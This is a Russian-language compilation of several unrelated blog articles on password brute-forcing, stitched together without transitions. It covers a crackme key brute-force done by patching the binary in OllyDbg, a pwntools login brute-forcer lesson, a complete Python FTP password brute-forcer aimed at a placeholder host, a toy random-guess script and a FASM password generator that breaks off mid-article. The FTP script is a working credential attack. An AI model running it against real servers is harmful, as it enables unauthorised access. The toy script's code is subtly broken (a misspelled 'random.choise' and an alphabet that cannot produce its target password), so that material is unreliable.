Как написать свой брут

Время на прочтение
6 мин

Количество просмотров 8.4K

Вступление

У меня нет опыта в реверсе, есть некие базовые знания ассемблера, позволяющие сделать битхак условных переходов, чтобы данное приложение всегда выходило на success-path независимо от введенного значения. Но так как это слишком банально для того, чтобы быть опубликованным здесь, а до полного воспроизведения алгоритма проверки введенного ключа я еще не дорос, я решил попробовать метод брута, т.е. последовательного подбора ключей. Конечно же, я не могу сказать, что и этот способ отличается своей крутизной, но по крайней мере подробное описание этого способа не так часто встречается среди статей по реверсу.

image

Источник

Ссылка на оригинальный пост crackme#03.

В ветке, где опубликован этот крякми, пользователь ARCHANGEL опубликовал метод брута на C++, который действительно выдает правильный пароль для этого крякми. Он мог позволить себе написать брут на языке высокого уровня, так как смог воспроизвести алгоритм и нашел значение 0x23a06032, с которым сравнивается полученное crc.

Я же пока не научился так глубоко анализировать алгоритмы на asm-е, поэтому буду работать не отходя от кассы, используя алгоритм проверки в самом крякми как черный ящик.

Анализ условных переходов

Запускаем крякми и выключаем звук на компьютере (видимо именно этого добивался автор, добавив звуковое сопровождение).

image

Запускаю OllyDbg 2.01 c плагином OllyExt, в котором выставлены приведенные ниже настройки:

image

Этот плагин поможет избавиться от некоторых потенциальных приемов анти-отладки.

Аттачимся из Ольги к выполняемому процессу crackme#03.exe: File → Attach…

image

Далее пробуем ввести любое значение в поле ввода и без труда находим код, в котором оно обрабатывается. Сделать это можно выставив breakpoint-ы на потенциальные функции получения текста (в частности GetDlgItemTextA) или пролистать код исходного модуля — благо здесь он небольшой. Нажимаем кнопку Check.

image

Срабатывает breakpoint, жмем один раз F8 и смотрим листинг. Видим, что введенная нами строка хранится по адресу 004095BC. Также смотрим на инструкцию по адресу 0040101F. Она сравнивает длину введенной строки со значением 12 и в случае неравенства выбрасывает нас на 004010AF.

Далее, обратите внимание на инструкцию по адресу 00401028, которая сравнивает 12-ый байт введенного значения со значением 72, а это буква r в ASCII-кодировке. В случае неравенства снова выбрасывает нас на 004010AF. Что же это за адрес такой? Об этом чуть позже.

Теперь обратим внимание на инструкции в диапазоне 004010310040104C. Покурив справочник команд ассемблера по командам repne и scas, а также потрассировав выделенную область кода, приходим к выводу, что aehnprwy — это допустимый алфавит требуемого ключа.

image

Теперь посмотрим, что же у нас расположено по адресу 004010AF. Там вывод сообщения о неудачном вводе пароля.

image

Итак, подведем итоги первичного анализа:

1) Ключ должен состоять из 12 символов;
2) Последний символ ключа должен быть r;
3) Символы ключа должны принадлежать алфавиту aehnprwy.

Брутфорс

Приступим к реализации брут-метода. Реализуем его сначала на концептуальном уровне. Можно на блок-схеме, можно на языке высокого уровня. Я реализовал его прототип на C++. Для понимания дальнейшего материала необходимо переварить код под спойлером.

Скрытый текст

#include <stdio.h>
#include <string.h>   

const char *Alphabet = "aeyhpnwr";
int         Password_len = 12;

int CheckPassword(char pass[]) // функция проверки введенного пароля.
{
    if (strcmp(pass, "aaaaaaahaahr") == 0)  // проверка на заглушку
        return 0;
    
    return 1;    
}

int main()
{
    int Alphabet_len    = strlen(Alphabet);    
    char* CodeArray     = new char[Password_len + 1];
    char* Password      = new char[Password_len + 1];        

    int n;

    // Инициализируем пароль, чтобы все символы были равны первому (т.е. нулевому) символу алфавита
    Password[Password_len] = 0;
    for (int i = 0; i < Password_len; i++)
    {
        CodeArray[i] = 0;
        Password[i]  = Alphabet[CodeArray[i]];
    }    

    // последний символ всегда r
    Password[Password_len - 1] = 'r';
    
    while (true)
    {
        //printf("nCurrent pass = %s", Password);

        if (CheckPassword(Password) == 0)
        {
            printf("nRight Password = %sn", Password);
            break;
        }

        n = Password_len - 2;
        while (n >= 0)
        {
            CodeArray[n]++;
            if (CodeArray[n] >= Alphabet_len)
            {
                CodeArray[n] = 0;
                Password[n] = Alphabet[0];
                n--;
                continue;
            }
            Password[n] = Alphabet[CodeArray[n]];
            break;
        }
    }

    delete[] CodeArray;
    delete[] Password;
}

Основные этапы:

1) Инициализация ключа (пароля) начальным значением.
2) Проверка ключа.
3) Если ключ неверен, то генерим следующий ключ и переходим к шагу 2. Если ключ верный, переходим к шагу 4. Если мы перебрали все ключи и ни один из них не подошел, переходим к шагу 5.
4) Crackme взломан.
5) Crackme не взломан. Где-то мы ошиблись.

Инициализация ключа

Программа хранит и обращается к ключу по адресу 004095BC — там и будем его инициализировать. Алфавит расположен по адресу 00409071.

004095CC — это адрес памяти, где мы будем хранить наш массив CodeArray.

Для инициализации ключа находим неиспользуемую область секции кода и вставляем туда наши инструкции. Я выбрал адрес 00404122.

Чтобы собственно эта инициализация выполнилась, идем к тому месту, где вызывается GetDlgItemTextA, аккуратно заменяем ее вызов на безусловный переход к нашему коду по адресу 00404122, а предшествующие ей push-команды заменяем nop-ами. Все делаем аккуратно, чтобы адрес команды CMP EAX, 0C остался прежним: 0040101F.

image

На рисунке ниже представлен сам код инициализации. По ее окончанию переходим к алгоритму валидации ключа в результате безусловного перехода на 0040101F.

image

Скрытый текст

Обнулить массив CodeArray, состоящего из 12 однобайтовых значений, можно в 3 итерации по 4 байта за итерацию.

00404122      B9 03000000   MOV ECX,3
00404127      BA CC954000   MOV EDX,004095CC                   ; адрес массива CodeArray
0040412C      C7448A FC 000 MOV DWORD PTR DS:[ECX*4+EDX-4],0
00404134      E2 F6         LOOP SHORT 0040412C

Далее выполняем проставление первого (т.е. нулевого) символа алфавита для каждого байта строки по адресу 004095BC


for (int i = 0; i < Password_len; i++)
{
	Password[i]  = Alphabet[CodeArray[i]];
}

00404136      BB BC954000   MOV EBX,004095BC                ; Адрес введенного ключа, к которому обращается crackme                     
0040413B      B9 0C000000   MOV ECX,0C
00404140      31C0          XOR EAX,EAX
00404142      8A4411 FF     MOV AL,BYTE PTR DS:[EDX+ECX-1]
00404146      8A80 71904000 MOV AL,BYTE PTR DS:[EAX+409071] ; 409071 - адрес алфавита             
0040414C      884419 FF     MOV BYTE PTR DS:[EBX+ECX-1],AL  
00404150      E2 F0         LOOP SHORT 00404142
00404152      C643 0B 72    MOV BYTE PTR DS:[EBX+0B],72     ; Последний символ всегда r
00404156      C643 0C 00    MOV BYTE PTR DS:[EBX+0C],0      ; Закрываем строку нулевым символом
0040415A      B8 0C000000   MOV EAX,0C                      ; Обозначаем длину ключа как 12
0040415F    ^ E9 BFCEFFFF   JMP 0040101F                    ; Возврат к коду валидации ключа

Получение следующего значения ключа

Теперь нам нужно реализовать код получения следующего значения ключа. Выбираем для этого адрес 00404165 (сразу после кода инициализации) и делаем переход на него с того места, где программа обзывает нас ламерами.

Модифицируем инструкции по адресам 004010AF и 004010B1.

image

Ну и по адресу 00404165 реализуем код получения нового ключа.

image

Скрытый текст

00404165    B9 0B000000     MOV ECX,0B                      ; Количество символов ключа, которые подлежат изменению
0040416A    BA CC954000     MOV EDX,004095CC                ; Адрес массива CodeArray
0040416F    BB BC954000     MOV EBX,004095BC                ; Адрес введенного ключа, к которому обращается crackme  
00404174    31C0            XOR EAX,EAX                     
00404176    FE4411 FF       INC BYTE PTR DS:[EDX+ECX-1]     ; Получаем следующий порядковый номер символа в алфавите
0040417A    807C11 FF 08    CMP BYTE PTR DS:[EDX+ECX-1],8   ; Проверяем, не вышли ли за пределы алфавита
0040417F    7D 15           JGE SHORT 00404196              
00404181    8A4411 FF       MOV AL,BYTE PTR DS:[EDX+ECX-1]  ; Если не вышли, грузим номер в AL
00404185    8A80 71904000   MOV AL,BYTE PTR DS:[EAX+409071] ; Получаем символ из алфавита по порядковому номеру. 409071 - адрес алфавита 
0040418B    884419 FF       MOV BYTE PTR DS:[EBX+ECX-1],AL  ; Записываем букву в соотв-ий символ ключа
0040418F    B8 0C000000     MOV EAX,0C                      ; Обозначаем длину ключа как 12
00404194  ^ EB C9           JMP SHORT 0040415F              ; Прыгаем на код валидации ключа
00404196    83F9 01         CMP ECX,1                       ; Если вышли за пределы алфавита, смотрим, не первый ли это символ ключа
00404199    7F 02           JG SHORT 0040419D               ; 
0040419B    CD 03           INT 3                           ; Перебор закончен, правильный ключ не найден
0040419D    C64411 FF 00    MOV BYTE PTR DS:[EDX+ECX-1],0   ; Если ecx (i) > 1, CodeArray[i] = 0;
004041A2    A0 71904000     MOV AL,BYTE PTR DS:[409071]     ; В AL записываем первый (нулевой) символ алфавита. 409071 - адрес алфавита 
004041A7    884419 FF       MOV BYTE PTR DS:[EBX+ECX-1],AL  ; Записываем букву в соотв-ий символ ключа
004041AB    49              DEC ECX                         ; Переходим к след. элементу
004041AC  ^ EB C6           JMP SHORT 00404174              ; Повторяем итерацию для следующего элемента

Запуск

Жмем кнопку Check и идем пить чай. Черт, и чай-то давно уж вскипел, придется кипятить заново.

image

Через некоторое время получаем:

image

Смотрим, что же у нас по адресу 004095BC

image

happynewyear — это и есть искомый ключ.

Python для хакера. Урок №5. Пишем брутфорсер формы авторизации.

https://telete.in/hacker_sanctuary

Данный пост является продолжением рубрики «Python для хакера», предыдущие посты доступны по следующим ссылкам:

Урок №1 — telegra.ph, tgraph.io

Урок №2 — telegra.ph, tgraph.io

Урок №3 — telegra.ph, tgraph.io

Урок №4 — telegra.ph, tgraph.io

Советуем для начала ознакомиться с предыдущими уроками, чтобы понимать материал из данного и следующих уроков.

Урок 5. Пишем брутфорсер формы авторизации.

Данный урок будет посвящён созданию скрипта для брута формы авторизации. Брутить будем форму авторизации, созданную в сервере, который был разработан на прошлом уроке.

Теория.

Использовать мы будем библиотеку pwntools (про неё есть вводный урок под номером 3). Также нам понадобятся словари, возьмём топ-1000 логинов и паролей.

Подразумевается, что мы не знаем не логинов не паролей. Для брута чистых  TCP приложений (например FTP-серверов) — это достаточно реальное предположение.

Да, для брута есть специальные инструменты, которые, скорее всего, будут работать гораздо быстрее чем наш скрипт, но мы не ставим перед собой задачу разработки готового инструмента, а просто тренируемся и учимся, для того, чтобы понимать, концепции, лежащие в основе мощных инструментов.

Практика.

Итак, приступим. Нам необходимо запустить написанный нами в прошлом уроке сервер (если вы ещё не читали этот урок, то обязательно прочтите), полный код сервера можно найти на gihube канала (ссылка).

Запустим его на машине, на которой не будет запускаться наш скрипт. Можно запустить на основной машине и запускать скрипт с виртуалки, или наоборот.

Запуск сервера мы опустим, т.к. это показывалось в прошлом уроке. Также, опустим и объяснение работы сервера.

Для начала найдём словари с логинами и паролями. Для этого можно использовать очень хороший репозиторий на github’e в котором есть словари паролей и логинов, при чём разнообразных и в большом количестве (ссылка).

Для имён пользователя возьмём словарь — ссылка (вы можете взять другой)

Для паролей словарь — ссылка.

Скачиваем эти словари и помещаем их в одну папку с нашим скриптом.

Начнём писать код.

Сделаем необходимые импорты.

Для начала нам нужно написать достаточно стандартный код для сетевого клиента, а именно принятие аргументов при запуске из командной строки.

Здесь всё довольно просто. Есть 4 аргумента: хост, порт, файл с логинами, файл с паролями. Здесь всё тривиально и уже рассматривалось не один раз.

Теперь нам нужно бы получить все наши логины и пароли в виде списка (обратите внимание, что данная техника не очень хороша, если вы используете большой словарь, т.к. при считывании сразу всех значений, они будут хранится в памяти и занимать много места, но в нашем случае они будут занимать не так много). Для этого напишем короткую функцию ParseFile, которая вернёт нам список из строк, которые есть в файле.

Код достаточно простой, открываем файл, считываем всё из файла и разбиваем считанное по разделителю в виде символа переноса строки (то есть получаем отдельные строчки), закрываем файл, возвращаем полученный список. Если вы не поняли, что произошло, советую посмотреть про функции работы с файлами и функцию split.

Теперь получим наши списки и сохраним в отдельные переменные.

Отлично, пришло время подключаться и перебирать логины.

Итак мы начинаем цикл по списку из имён пользователей, т.к. при неудачном вводе сервер разрывает соединение, на каждой итерации нам надо устанавливать новое подключение. После установки подключения мы считываем данные, пока не встретим приглашения ввода имени пользователя (строка 28), после чего мы отправляем имя пользователя на сервер и ожидаем ответ, если в ответе содержится сообщение о том, что имя неверное, мы просто заканчиваем текущую итерацию и закрываем наш клиент. Если такое сообщение не пришло, то мы считаем, что был найден верный логин и заканчиваем данный цикл с выводом верного логина на экран. Запустим наш код и проверим его.

Отлично, мы нашли имя пользователя. Чтобы убрать сообщения об открытых и закрытых соединениях, можно дописать слово SILENT в конце строки запуска скрипта.

Отлично, теперь напишем код для брута пароля. При этом будем использовать логин найденный в ходе первого цикла, то есть не будем запускать скрипт два раза: для нахождения логина, для нахождения пароля, а будем запускать всего один раз для нахождения всего.

Итак, код делает практически тоже самое, что и для имени пользователя, вы можете их сравнить. Переменная  valid_username была добавлена и теперь код для нахождения имени пользователя выглядит так.

Просто сохраняем верное имя пользователя в отдельной переменной, чтобы потом её использовать в поиске пароля.

Запустим всё что мы написали.

Отлично, мы нашли логин и пароль.

Весь исходный код скрипта доступен на гитхабе канала по данной ссылке.

Данный урок подходит к концу. В следующих уроках планируется рассмотреть создание скриптов для веб-приложений, то есть простых веб-серверов и клиентов. Если у вас есть идеи, то пишите их в бота-ответчика.

На чтение 4 мин Опубликовано 23.09.2020

Это руководство по брутфорсу FTP позволит вам создать свой собственный простой инструмент прямого перебора паролей FTP на  языке Python.

Полный код состоит всего из 20 строк, и инструмент достаточно прост.

Содержание

  1. Создайте новый файл Python
  2. Импортируйте FTPlib
  3. Список паролей
  4. Цикл
  5. Запуск
  6. Конечный результат

Создайте новый файл Python

Сначала создайте новый файл Python и сохраните его, это позволит вам быстрее редактировать и перемещаться по этому руководству.

Импортируйте FTPlib

FTPlib – это стандартная библиотека, используйте ее.

Запишите следующий фрагмент кода в свой файл Python.

from ftplib import FTP

Список паролей

Инструмент брута должен использовать список паролей, ведь мы не хотим вводить пароли один за другим :-).

Большие списки паролей для брутфорса | скачать бесплатно

🦴 Ahadu — Генератор списка паролей

Создайте строковое значение, которое позволит вам указать местоположение вашего password_list.

Затем мы добавим имя пользователя по умолчанию, которое мы собираемся использовать, и нам нужно будет указать целевую строку.

password_list = "my_password_list.txt"
username = "anonymous"
target = "ftp.kakoitosite.ru"

Цикл

Определите процесс, назовем его start, мы должны подготовить список, который будет содержать password_list, и нам нужно написать некоторый код, который загрузит список в созданный нами инструмент брута FTP на Python.

Добавьте следующую строку кода:

def start():
    setx = []
    f = open(password_list)
    setx = f.readlines()

Продолжаем добавлять цикл и шаги входа в систему:

for password in setx: 
        password = password.strip()
        try: 
            ftp = FTP(target)
            ftp.login(user=username, passwd = password)
            print("Success:",str(password))
            break
        except Exception as e: 
            print("Fail:",str(e),"  [X]->  ",password)

Запуск

Последний шаг, который мы сделаем, – это добавим start() в конец кода Python.

start()

Конечный результат

from ftplib import FTP
#options
password_list = "my_password_list.txt"
username = "anonymous"
target = "ftp.kakoitosite.ru"
 
def start():
    setx = []
    f = open(password_list)
    setx = f.readlines()
    for password in setx: 
        password = password.strip()
        try: 
            ftp = FTP(target)
            ftp.login(user=username, passwd = password)
            print("Success:",str(password))
            break
        except Exception as e: 
            print("Fail:",str(e),"  [X]->  ",password)
start()

¯_(ツ)_/¯

Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.

Кодинг
49,276

Перебор пароля Python

Сегодня понадобилось написать простой код для перебора случайно сгенерированных четырехзначных паролей, для «взлома». Естественно, пароль, который мы будем «взламывать», мы введем сами, в этой же программе, ведь я не хочу создавать скрипт для брута, а лишь хочу продемонстрировать новичкам в программировании, как должен работать подобный скрипт.

Еще по теме: Взлом WiFi на Python

Для начала надо выбрать язык. Я решил выбрать Python, так как он приятней глазу, и на нем будет проще объяснить, как работает процесс перебора паролей.

Итак, начнем. Какие модули нам необходимы? Только один — random! Импортируем его.

Далее, надо определиться с переменными. Нам нужны 6.

correctPassword = «1234» # Вводим пароль, который нужно забрутить

wrongPasswords = [] # В этот список будут добавляться уже подобранные пароли, чтобы не повторяться

password = «» # В эту переменную будет записываться сгенерированный пароль,  и, если он ложный, пойдет в wrongPassword

length = 4 # Длина пароля. Эта переменная нужна будет в будущем

chars = «1234567890»  # Символы, из которых будет генерироваться пароль.

run = True # Думаю, не стоит объяснять

Вот и все необходимые переменные.

Теперь необходимо создать цикл. В нем все и будет выполняться. Также добавим в него строчку для обнуления переменной password

Переходим к самому интересному — генерации и перебору паролей.

Сначала создадим цикл for, для генерации пароля. Тут нам и пригодится переменная length.

for i in range(length):

    password += random.choise(chars)

Теперь напишем код, который будет проверять, генерировала уже программа этот пароль, или нет. Ну и проверять, идентичен ли он правильному.

if password not in wrongPasswords:

    print(password)

    if password != correctPassword:

        wrongPasswords.append(password)

    else:

        run = False

        break

print(password + » is correct»)

Вот и все! Все работает!

Надеюсь, кому-то данная статья помогла, кому-то просто была интересна.

Весь код полностью:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

import random

correctPassword = «1234»

wrongPasswords = []

password = «»

length = 4

chars = «12e4567890»

run = True

while run:

    password = «»

    for i in range(length):

        password += random.choise(chars)

    if password not in wrongPasswords:

        if password != correctPassword:

            print(password)

            wrongPasswords.append(password)

        else:

            run = False

            break

print(password + » is correct»)

Еще по теме: Простой кейлоггер на Python

ВКонтакте

Twitter

Facebook

OK

Telegram

WhatsApp

Viber

Чужая информация всегда привлекала к себе внимание, а когда к ней нет прямого доступа, возникает желание прибрести этот доступ контробандным путём. Если социальная инженерия и прочая игра на чувствах не срабатывает, остаётся идти на таран и использовать метод «грубой силы», что в дословном переводе на инглиш звучит как «Brute-Force». За периметром конкретной задачи брутфорс лишён смысла – каждый случай требует индивидуального подхода. А потому предлагаю ознакомиться с алгоритмами его реализации на программном уровне, чтобы самостоятельно решать проблемы по мере их поступления.

Оглавление:

1. Общие сведения о криптологии;
2. Практика – генератор паролей;
3. Практика – брутфорс паролей;
4. Варианты оптимизации кода;

• выбор по индексу,

• распределение по потокам Thread.

5. Заключение.
————————————————-

1. Криптология – общие сведения

Разработкой методов крипта и декрипта информации занимается «криптология», которая пошла по двум направлениям – криптография и криптоанализ. Первая (криптография) – это наука о методах обеспечения конфиденциальности, т.е. изучает криптосистемы и способы шифрования данных. Криптоанализ-же занимается вопросами оценки слабых сторон отдельно взятых методов защиты. Соответственно два эти направления являются враждующими сторонами, между которыми идёт не шуточная война. В рамках представленного на ваш суд материала, нас будет интересовать только криптоанализ в виде атаки на шифр, а его обобщённую схему раскрывает рисунок ниже:

Crypto_class.png

Как видим, вариантов у взломщиков много, на все случаи жизни. Это довольно объёмная тема, и попытки охватить сразу весь материал ни к чему хорошему не приведут. Поэтому будем последовательны и рассмотрим только один из методов атак, а заинтересованный читать всегда может почерпнуть базовые сведения о криптоанализе в соответствующей литературе, или например в

Ссылка скрыта от гостей

. Чтобы понять, о чём пойдёт речь конкретно в этом треде, рассмотрим определение атак, которые выделены на рисунке выше коричневым цветом.

1.1. Атака с известным шифротекстом – «Сiphertext only attack».

В атаках этого класса предполагается, что взломщик знает алгоритм шифрования, но не знает секретный пароль. Это самый распространённый вид атак, внутри которых можно пойти по одной из следующих трёх веток:

1. Перебор ключей по словарю. Способ требует наличия «файла-словаря» – этакой базы, со списком всевозможных паролей. Словари лежат в свободном доступе, например

Ссылка скрыта от гостей

. Встречаются базы размером 30 и более гигаБайт, которые обычный блокнот мастдая уже не в силах открыть и нужно искать подходящий софт. В атаках по словарю, мы берём из него очередной пароль и подсовываем его жертве. Если облом, то парсим следующую запись и т.д. Если пароль криптостойкий и его нет в словаре, то данный подход вообще не даст результата, хотя в зависимости от размера используемой базы, процесс перебора может длиться довольно долго.

2. Полный перебор ключей – классический «брутфорс», или слепая атака в лоб. Отличается от метода со-словарём тем, что пароли в явном виде уже нигде не хранятся – их порождает заброшенная в цикл матка. В осуществляющем брут софте должна быть предусмотрена опция, которая позволяла-бы выбирать «алфавит» для паролей. На практике применяются следующие типы алфавитов: (1)только цифры 0..9, (2)только заглавные символы «A..Z», (3)пароли только из прописных символов «a..z», (4)гремучая смесь всех печатных символов, включая знаки препинания. Если брутить пароли с полным алфавитом(4), то перебор обязательно даст положительный результат и это придаёт надежды. Однако затраченное на поиск время может в несколько раз превысить возраст вселенной.

3. Частотный криптоанализ. Метод основывается на частоте повторения букв в пароле. Например, если пароль представляет собой осмысленное слово, то в англоязычных текстах много букв «e», и артиклей «the». Частотный криптоанализ – это любая атака, которая использует данный факт. Даже если пароль закодирован (к примеру подстановочным шифром Цезаря), то по частоте встречающихся символов можно сделать вывод, что это именно символ(е).

Таким образом, даже внутри одного класса атак имеем три совершенно разных подхода, мы-же остановимся только на втором варианте – брутфорс. По своей природе, он подразумевает попытку взлома паролей методом циклического перебора до полного совпадения. Если в качестве алфавита был выбран верхний регистр «A..Z», то на каждой итерации цикла к символу «А» прибавляем 1 и получаем «В». После того-как дойдём до символа «Z» (26 итераций = длина алфавита), то добавляем к паролю второй символ и получаем «АА». Теперь продолжаем перебирать первый символ, пока не получим «ZA», после чего увеличиваем уже второй символ пароля «АВ» и т.д.. На каждой итерации цикла, текущий пароль забрасывается удочкой программе-жертве и если она его не проглотила, значит подставляем следующий, ..и так до второго пришествия архангела-Михаила.

При таких раскладах, противостоять бруту довольно просто – достаточно ввести ограничение на количество попыток-ввода неверного пароля (допустим 3-раза), как перебор отваливается сам по себе. Реализовать это можно проверкой хорошо спрятанного в нёдрах системы счётчика, или установкой аппаратного бряка на обращение к памяти (SEH + отладочные регистры DR0-7). Нужно помнить, что в современных реалиях программы для брутфорса паролей предлагают лишь теоретическое решение проблемы, без каких-либо гарантий по временной шкале. Прибегать к нему стоит лишь в том случае, когда основа пароля известна (например, это какое-то число или дата), и необходимо подобрать к ней комбинацию из дополнительных нескольких цифр/букв.

2. Практика – генератор паролей

Чтобы опробовать свои силы в бруте нам нужен пароль, ..а если готовых паролей нету, то напишем примитивный их генератор. Гугл предлагает нам различные варианты, а мы пополним этот зоопарк ещё одним «зверьком». В масштабах этой задачи, нужно будет сформировать три типа символьных алфавитов, из которых рандомом будем выбирать числа и буквы для пассвордов. С алфавитом проблем нет – его мы честно скомуниздим у кодировок «Base64/32/16», а рандом будем использовать как индекс (порядковый номер), для выборки символов из этих алфавитов. Base64 описывает стандарт

Ссылка скрыта от гостей

, в котором приводится полный его паспорт, в том числе и задействованные в кодировках символы:

Base_ascii.png

Посмотрите на таблицу символов ASCII – все числа и буквы в ней собраны последовательно с инкрементом +1. К примеру символ верхнего регистра «А» будет лежать в памяти нашей программы как значение 41h, а все буквы нижнего регистра начинаются с 61h, т.е. разница между ними =20h или всего один бит(5). Символы всех чисел 0..9 отличаются от своего-же 10-тичного значения ровно на 30h, т.е. «1»=31h, «2»=32h и т.д. Это упрощает их перевод из верхнего в нижний регистр, или из строки в число.

Синтаксис ассемблера FASM имеет интересную директиву «%». Если поместить её внутрь цикла, она возвращает текущий счётчик. Так-же, в наличии имеется директива «times», которая повторяет одну инструкцию указанное кол-во раз. За ней должно следовать значение счётчика, и инструкция, которую нужно повторять (в нашем случае символ). Например, такая конструкция запишет в память все символы кодировки «Base64». Поскольку счётчик(%) начинает считать с единицы, делаем -1:

C-подобный:

Base64:   ;//<----------------- Метка для обращения к массиву алфавита
times 26  db  % +('A'-1)    ;// ABCDEFGHIJKLMNOPQRSTUVWXYZ
times 26  db  % +('a'-1)    ;// abcdefghijklmnopqrstuvwxyz
times 10  db  % +('0'-1)    ;// 0123456789
          db  '+/'          ;// +/

Base_mem.png

Будем считать, что забросили алфавиты в память, теперь нужно выбирать из них псевдо-случайные значения для пароля. Как видим, каждый из символов имеет свою позицию в дампе – это «индекс элемента» в массиве. Например по индексу(3) от начала лежит символ «D» со-значением 44h и т.д. (отсчёт с нуля). Соответственно если мы сгенерим рандомный байт, то можем использовать его в качестве индекса для выборки случайного символа из общего алфавита. Только этот рандом обязательно должен быть в диапазоне 0..63, чтобы индекс не вылетал за пределы алфавита.

Если юзер захочет в генераторе паролей использовать символы кодировки «Base32», то и рандом должен быть в пределах 0..31. На практике, загнать значение в диапазон можно взятием остатка от деления. В данном случае, «потолки» всех алфавитов у нас кратны двум: 16,32,64, поэтому находить остаток от деления можно логикой, как в примере ниже (случайное значение лежит в регистре AL):

C-подобный:

  and  al,63    ;// AL = число в диапазоне 0..63
  and  al,31    ;// AL = число в диапазоне 0..31
  and  al,15    ;// AL = число в диапазоне 0..15

Теперь в AL лежит число, значение которого мы должны использовать в качестве индекса в алфавите. Для этого, воспользуемся инструкцией ассемблера XLAT с таким описанием от Intel. Преимущество её в том, что она 1-байтная и процессор тратит на её исполнение всего 2 своих такта. За это время, инструкция «убивает сразу два зайца» по такой схеме:

XLAT – Table Look-up Translation (opcode = D7h)
————————————————
Находит запись байта в таблице в памяти, используя содержимое регистра AL в качестве индекса в таблице. Затем копирует содержимое записи таблицы обратно в регистр AL. Индекс в AL рассматривается как целое число без знака = 127.

Другими словами, эта инструкция требует, чтобы в регистре EBX лежал указатель на массив в памяти, а в регистр AL нужно поместить некоторый байт без-знака. Теперь XLAT берёт значение из AL и использует его как порядковый номер элемента в массиве EBX. На заключительном этапе, найденный элемент копируется обратно в регистр AL перезаписывая находящийся в нём индекс. На выходе в том-же AL получаем результат в виде символа из алфавита. Для нашего случая как-раз то, что доктор прописал, ..и всё это за каких-то пару тактов процессора.

Ну и в заключении о самом рандоме..
Сгенерить его можно различными путями – это и счётчик тактов процессора RDTSC, и текущие милли-секунды системного времени, и.. список можно продолжать бесконечно. Но без дополнительных танцев с бубном все эти варианты возвращают лишь 2, 4 или 8-байтный рандом, а ведь для индекса нам нужно число в диапазоне 0..16..32..64. Так-что мы пойдём другим путём, и специально предназначенной для крипта функцией CryptGenRandom() сгенерим сразу массив случайных чисел требуемой длинны – благо функция это позволяет. Теперь из этого массива будем читать по 1-байту, что и позволит решить проблему. В конечном итоге, прожку для генерации случайных паролей можно оформить например так:

C-подобный:

format   pe console
include 'win32ax.inc'
entry    start
;//--------
.data
Base64:  ;//<----------------- Алфавит 64-символов
times 26  db  % +('A'-1)    ;// ABCDEFGHIJKLMNOPQRSTUVWXYZ
times 26  db  % +('a'-1)    ;// abcdefghijklmnopqrstuvwxyz
times 10  db  % +('0'-1)    ;// 0123456789
          db  '+/'          ;// +/
Base32:  ;//<----------------- Алфавит 32-символов
times 26  db  % +('A'-1)    ;// ABCDEFGHIJKLMNOPQRSTUVWXYZ
times  6  db  % +('2'-1)    ;// 234567

Base16:  ;//<----------------- Алфавит 16-символов
times 10  db  % +('0'-1)    ;// 0123456789
times  6  db  % +('A'-1)    ;// ABCDEF

title     db  '*** Password Gen v0.1 ***',0
alphabet  dd  0       ;// будет адресом алфавита,
alphaLen  dd  0       ;//   ..а здесь его длина.

passLen   dd  0       ;// длина пароля
passCount dd  0       ;// кол-во паролей для генерации

hcrypt    dd  0       ;// дескриптор крипто-провайдера "Win32Crypt"
buff      rb  64      ;// буфер для рандома (макс.Base64)
passStr   db  0       ;// буфер для строки с нашим паролем

;//--------
.code
start:   invoke  SetConsoleTitle,title

;//----- Позволяем юзеру выбрать алфавит
         cinvoke  printf,<10,
                          ' *** Alphabet*** : 1=Base64, 2=Base32, 3=Base16',10,
                          ' Choise number...: ',0>
         cinvoke  scanf,<'%d',0>,alphaLen

;//----- Настраиваем переменные под выбранный юзером алфавит
          cmp     [alphaLen],1           ;// проверить ввод на 1
          jne     @f                     ;// на нижнюю метку, если нет..
          mov     [alphabet],Base64      ;// иначе: сохраняем в переменной адрес "Base64"
          mov     [alphaLen],64          ;//     ..и следом его длину.
          jmp     @getRandom             ;// уйти на генератор!

@@:       cmp     [alphaLen],2
          jne     @f
          mov     [alphabet],Base32
          mov     [alphaLen],32
          jmp     @getRandom

@@:       cmp     [alphaLen],3
          jne     @f
          mov     [alphabet],Base16
          mov     [alphaLen],16
          jmp     @getRandom

@@:      cinvoke  printf,<' Error alphabet num!!!',0>  ;// Ошибка ввода!!!
          jmp     @exit

@getRandom:
;//----- Запрашиваем у юзера необходимую длину пароля
         cinvoke  printf,<' Password length.: ',0>
         cinvoke  scanf,<'%d',0>,passLen

;//----- Запрашиваем у юзера кол-во паролей для генерации
         cinvoke  printf,<' Password counter: ',0>
         cinvoke  scanf,<'%d',0>,passCount

;//====== ГЕНЕРАТОР ПАРОЛЕЙ ===================================
;// Сначала выбираем системного крипто-провайдера = 0xf0000000,
;// после чего генерим рандом по длине пароля, в приёмный буфер
          invoke  CryptAcquireContext,hcrypt,0,0,1,0xf0000000
@cycle:   invoke  CryptGenRandom,[hcrypt],[passLen],buff

          mov     esi,buff         ;// ESI = источник байт-рандомов
          mov     edi,passStr      ;// EDI = приёмник выбранных из алфавита символов
          mov     ecx,[passLen]    ;// ECX = длина пароля для цикла LOOP
          mov     ebx,[alphabet]   ;// EBX = адрес выбранного юзером алфавита для XLAT
          mov     edx,[alphaLen]   ;// EDX = длина алфавита 16/32/64,
          dec     edx              ;//     ..-1 для получения остатка логикой AND.
@@:       lodsb                    ;// AL = очередной байт-рандом из ESI (esi+1)
          and     al,dl            ;// загнать рандом в диапазон (остаток от длины)
          xlatb                    ;// взять в AL символ из EBX, по индексу в AL
          stosb                    ;// сохранить AL в по адресу в EDI (edi+1)
          loop    @b               ;// повторить цикл "@@" ECX-раз..

         cinvoke  printf,<10,' Generate pass...: %s',0>,passStr  ;// пасс на консоль!
          dec     [passCount]      ;// уменьшить счётчик генератора
          jnz     @cycle           ;// повторить внешний цикл, если счётчик не нуль..

;//----- Освободить системного крипто-провайдера
          invoke  CryptReleaseContext,[hcrypt],0

@exit:   cinvoke  scanf,<'%s',0>,buff
         cinvoke  exit,0
;//--------
section '.idata' import data readable
library  msvcrt,'msvcrt.dll',kernel32,'kernel32.dll',advapi32,'advapi32.dll'
import   msvcrt, printf,'printf',scanf,'scanf',exit,'exit'
include 'apikernel32.inc'
include 'apiadvapi32.inc'

Pass_gen.png

3. Практика – программа для брутфорса паролей

